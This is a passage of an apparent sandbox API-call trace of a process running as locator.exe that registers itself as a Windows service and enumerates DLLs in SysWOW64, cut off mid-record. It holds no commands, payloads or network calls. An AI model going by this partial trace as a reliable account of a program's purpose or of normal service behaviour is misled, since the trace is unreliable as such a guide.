RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d258) returned 1 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c240) returned 1 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d268) returned 1 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d278) returned 1 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d288) returned 1 [0188.092] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d5e8) returned 1 [0188.092] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0188.092] StartServiceCtrlDispatcherW (lpServiceTable=0x2df7fc*(lpServiceName="", lpServiceProc=0xfed040)) [0228.698] SetServiceStatus (hServiceStatus=0x63e328, lpServiceStatus=0x2df6fc*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 Thread: id = 842 os_tid = 0x614 Thread: id = 843 os_tid = 0x590 Thread: id = 844 os_tid = 0x6a4 Thread: id = 845 os_tid = 0x5c4 [0188.180] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0xfece51) returned 0x63e328 [0188.180] SetServiceStatus (hServiceStatus=0x63e328, lpServiceStatus=0x198f8f4*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0188.274] GetCommandLineW () returned="C:\\Windows\\system32\\locator.exe" [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e268 [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x5c) returned 0x119dd28 [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e1e0 [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e2f0 [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e378 [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e400 [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e488 [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e510 [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e598 [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e620 [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e6a8 [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e730 [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e7b8 [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x100) returned 0x347cf8 [0188.274] GetSystemWow64DirectoryW (in: lpBuffer=0x347cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0188.274] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x347cf8) returned 1 [0188.274] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e840 [0188.274] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e840) returned 1 [0188.275] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e840 [0188.275] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x198f650, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x198f650) returned 0x63fd00 [0188.275] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.275] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.275] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x119c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0188.275] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.275] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.275] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.275] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.275] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.275] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0188.277] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.277] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0188.277] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x119c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0188.277] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.277] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.277] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.277] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.277] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.277] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0188.277] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.277] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.277] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x119c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0188.278] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.278] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0188.278] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.278] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.278] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x119c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0188.278] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.278] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0188.278] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.278] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.278] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x119c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0188.278] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.278] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0188.278] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.278] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.278] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x119c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0188.278] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.278] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.278] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x119c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.279] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.279] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.279] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.279] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.279] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x119c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.279] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.279] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.279] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.279] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.279] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x119c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.279] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.279] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.279] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.279] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.279] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.279] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x119c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0188.280] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.280] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0188.280] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.280] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.280] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x119c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0188.280] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.280] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0188.280] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.280] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.280] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x119c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0188.280] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.280] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.280] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: 